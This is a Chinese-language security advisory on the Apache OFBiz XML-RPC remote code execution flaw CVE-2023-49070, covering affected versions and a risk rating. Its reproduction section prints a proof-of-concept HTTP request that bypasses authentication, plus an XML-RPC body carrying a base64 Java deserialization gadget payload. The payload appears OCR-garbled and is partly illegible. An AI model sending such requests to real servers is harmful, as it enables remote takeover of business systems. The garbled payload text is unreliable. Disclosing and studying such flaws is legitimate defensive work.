

关于Apache OFBiz XML-RPC远程代码执行漏洞（CVE-2023-49070）预警

漏洞描述

Apache OFBiz（Apache Open For Business）是一个开源框架，旨在帮助构建企业资源计划（ERP）软件。

XML-RPC是一个远程过程调用的分布式计算协议，通过XML将调用函数封装，并使用HTTP协议作为发送机制。Apache XML-RPC是XML-RPC的一个Java实现。

Apache OFBiz 版本18.12.10之前，由于使用了不再维护的Apache XML-RPC，威胁者可发送特制HTTP请求到 XML-RPC接口/webtools/control/xmlrpc绕过接口过滤限制（CVE-2020-9496），成功利用该漏洞可能导致任意代码执行。

影响范围

Apache OFBiz 版本< 18.12.10

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	[已公开]	[已公开]	[已知]

风险等级

维度	评价
威胁等级	【高危】
影响面	【广】
攻击者价值	【中】
利用难度	【低】

漏洞复现

POC/EXP：

```
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y
HTTP/1.1
Host: 172.16.12.135:8443
Content-Type: application/xml
Content-Length: 4144
```

test

自己生成bas464的 payload

[illegible]

Request		
Pretty	Raw	Hex
1 GET /webtools/control/xmlrpc HTTP/1.1		
2 Host: 172.16.12.135:8443		
3 Content-Type: application/xml		
4 Content-Length: 4144		
5		
6 <?xml version="1.0"?>		
7 <methodCall>		
8 <methodName>		
ProjectDiscovery		
9 </methodName>		
10 <params>		
11 <param>		
12 <value>		
13 <struct>		
14 <member>		
<name>		
test		
</name>		
<value>		
15 <serializable xmlns="		
16 http://ws.apache.org/xmlrpc/namespaces/extensions">		
17 r00ABXNyABdqYXZHLnV0aWwuUHJpb3JpdHlRdWV1ZZTAMLT7P4KxAwACSQ		
Aec216ZUwACmNvbXBhcmlFob3Q0ABZMamF2YS91dGlsLONvbXBhcmlFob317		
eHAIAAAACe31AK29yZy5hcGFjaGUuY29tbW9ucy5iZWfudXRpbHMuaW9mbk		
NvbXBhcmlFob3JlcjYjcqYkSAIAAkAwACmNvbXBhcmlFob3JxAH4AAUwACHBy		
b3BlcnR5dAASTGphdmEvdGFuZy91dHJpbmc7eHBzcGAvb3JnLnFwYWNoZS		
5jb21tb25zLmNvbGxIY3Rpb25zLmNvbXBhcmlFob3JzLkNvbXBhcmlFibGVd		
b21wYXJhdG9y+/SZJbhustCcAAB4cHQAEg91dHB1dFBYb3B1cnRpZXN3BA		
AAAAAZcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmdlGvYbmFsLnNh		
bHRjLnRyYXguVGvtcGxhdGVzSW1wbAIXT8FurKszAwAGSOANX21uzGVudE		
51bwJIckkAD190cmFuc2xldEluZGV4WwAKX2J5dGlvbj2RIc3QAA1tbQIsA		
BI9jbgFGzc3QAEItMamF2YS9sYW5nLONsYXNzO0wABV9uYW1lcQB+AAARMAB		
Ffb3V0cHVOUHJvcGVydGlIc3QAFKxqYXZHL3V0aWwvUHJvcGVydGlIczt4		
cAAAAD/////dXIAA1tbQkv9GRVnZs3AgAAeAAAAAACdXIAAItCrPMX+A		
YIVoACAAB4cAAAbqbK/rq+AAAAMgAScGADACIHADcHACUHACYBABbzZXJp		
YWwWZXJzaW9uVUIEQABSGeADUNvbnNOYW50VmFsdWUFRUCT85Hdz4BA		
Y8aW5pdD4BAAMKYBYBAARDb2RIQAAPTGIUZS51bwJicRhYmxlAQASTG9j		
YXkwYXYJpYJysZVRHyxmIAQAEdGhpccwEAENodWJUCmfuc2xldFBheWxvYW		
QBAAxJbm51ckNsYXNzXkBMBADVMENvc2VyaWFSL3BheWxvYWRzL3V0aWwv		
R2FkZ2V0cyRtdHVlVHJhbntnsZXROXYIsb2FkOWEACRXRYW5zZm9ybQEAci		
hMY29tL3N1bi5vcmcuYXBhY2hlL3hhbGFuL2ludGvYbmFsL3hzbbHRjLORP		
TI+tTCmJus9vW4ub2Inl2FWuNWu7SD4WuuW50ZYJyYWwvZ2VyaWwvFCoyY		

